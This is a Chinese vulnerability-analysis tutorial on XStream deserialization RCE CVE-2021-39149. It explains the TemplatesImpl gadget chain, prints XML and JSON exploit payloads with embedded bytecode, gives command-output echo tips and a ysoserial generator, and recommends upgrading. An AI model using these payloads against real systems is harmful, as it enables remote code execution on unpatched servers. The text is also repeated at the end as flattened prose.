Xstream反序列化分析(CVE-2021-39149)
字数 993 2025-08-03 16:45:13

XStream反序列化漏洞分析(CVE-2021-39149) 教学文档

1. 漏洞背景

XStream是一套Java对象和XML相互转换的工具。2021年XStream爆出一系列反序列化漏洞,其中CVE-2021-39149是一个高危的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过构造恶意的XML或JSON数据,在目标系统上执行任意代码。

2. 漏洞概述

  • 漏洞编号:CVE-2021-39149
  • 漏洞类型:反序列化远程代码执行
  • 影响版本:XStream 1.4.18之前版本
  • 漏洞利用条件:无特殊限制,适用于大多数Java环境
  • 漏洞特点:利用TemplatesImpl类实现任意Java字节码执行

3. 漏洞原理分析

3.1 反序列化流程

XStream的反序列化过程分为两部分:

  1. XML/JSON转换为Java对象的过程
  2. Java对象的构造分析

3.2 关键利用链

完整的反序列化利用链如下:

java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

3.3 触发机制

关键触发点在NullProvider的构造器部分:

  • probes属性是HashMap类型
  • 危险代码放在value部分
  • 通过hashCode()函数触发执行

4. 漏洞利用

4.1 XML格式Payload构造

完整XML Payload结构(部分内容省略):

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map' />
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAA......</byte-array>
                      <byte-array>yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                  <boolean>false</boolean>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing_method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing_method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

4.2 JSON格式Payload构造

XStream也支持JSON格式的反序列化,需要使用JettisonMappedXmlDriver

XStream xstream = new XStream(new JettisonMappedXmlDriver());
System.out.println(xstream.toXML(proxy));

JSON格式Payload示例:

{
  "linked-hash-set": {
    "dynamic-proxy": {
      "interface": ["map", "java.lang.Cloneable", "java.io.Serializable"],
      "handler": {
        "@class": "com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl",
        "classToInvocationHandler": {
          "@class": "linked-hash-map"
        },
        "defaultHandler": {
          "@class": "sun.tracing.NullProvider",
          "active": true,
          "providerType": "java.lang.Object",
          "probes": {
            "entry": {
              "method": {
                "class": "java.lang.Object",
                "name": "hashCode",
                "parameter-types": ""
              },
              "sun.tracing.dtrace.DTraceProbe": {
                "proxy": {
                  "@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
                  "@serialization": "custom",
                  "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl": {
                    "default": {
                      "_name": "Pwnr",
                      "_bytecodes": {
                        "byte-array": ["yv66vgAA......", "yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ"]
                      },
                      "_transletIndex": -1,
                      "_indentNumber": 0
                    },
                    "boolean": false
                  }
                },
                "implementing_method": {
                  "class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
                  "name": "getOutputProperties",
                  "parameter-types": ""
                }
              }
            }
          }
        }
      }
    }
  }
}

4.3 回显构造技巧

  1. 修改回显Java类,删除可能获取错误response对象的代码
  2. 将输入命令部分放入Cookie字段,确保不被代理设备移除
  3. 同时写入response的body和Set-Cookie字段,增加可靠性

5. 漏洞修复

  • 升级到XStream 1.4.18或更高版本
  • 新版本默认启用白名单安全框架
  • 配置XStream的安全框架,限制可反序列化的类

6. 相关工具

可以使用ysoserial生成XStream格式的Payload:

package ysoserial.exploit;

import ysoserial.payloads.ObjectPayload;
import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject;

public class XStream {
    public static void main(String[] args) {
        if (args.length < 2) {
            System.out.println("exit");
        }
        final Object payloadObject = makePayloadObject(args[0], args[1]);
        com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
        String result = xs.toXML(payloadObject);
        System.out.println(result);
        ObjectPayload.Utils.releasePayload(args[0], payloadObject);
    }
}

7. 总结

CVE-2021-39149漏洞利用XStream反序列化功能,通过精心构造的XML或JSON数据,触发TemplatesImpl类的字节码加载和执行机制,最终实现远程代码执行。该漏洞利用条件宽松,危害严重,建议用户及时升级到安全版本。

XStream反序列化漏洞分析(CVE-2021-39149) 教学文档 1. 漏洞背景 XStream是一套Java对象和XML相互转换的工具。2021年XStream爆出一系列反序列化漏洞,其中CVE-2021-39149是一个高危的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过构造恶意的XML或JSON数据,在目标系统上执行任意代码。 2. 漏洞概述 漏洞编号 :CVE-2021-39149 漏洞类型 :反序列化远程代码执行 影响版本 :XStream 1.4.18之前版本 漏洞利用条件 :无特殊限制,适用于大多数Java环境 漏洞特点 :利用 TemplatesImpl 类实现任意Java字节码执行 3. 漏洞原理分析 3.1 反序列化流程 XStream的反序列化过程分为两部分: XML/JSON转换为Java对象的过程 Java对象的构造分析 3.2 关键利用链 完整的反序列化利用链如下: 3.3 触发机制 关键触发点在 NullProvider 的构造器部分: probes 属性是 HashMap 类型 危险代码放在value部分 通过 hashCode() 函数触发执行 4. 漏洞利用 4.1 XML格式Payload构造 完整XML Payload结构(部分内容省略): 4.2 JSON格式Payload构造 XStream也支持JSON格式的反序列化,需要使用 JettisonMappedXmlDriver : JSON格式Payload示例: 4.3 回显构造技巧 修改回显Java类,删除可能获取错误response对象的代码 将输入命令部分放入Cookie字段,确保不被代理设备移除 同时写入response的body和Set-Cookie字段,增加可靠性 5. 漏洞修复 升级到XStream 1.4.18或更高版本 新版本默认启用白名单安全框架 配置XStream的安全框架,限制可反序列化的类 6. 相关工具 可以使用ysoserial生成XStream格式的Payload: 7. 总结 CVE-2021-39149漏洞利用XStream反序列化功能,通过精心构造的XML或JSON数据,触发 TemplatesImpl 类的字节码加载和执行机制,最终实现远程代码执行。该漏洞利用条件宽松,危害严重,建议用户及时升级到安全版本。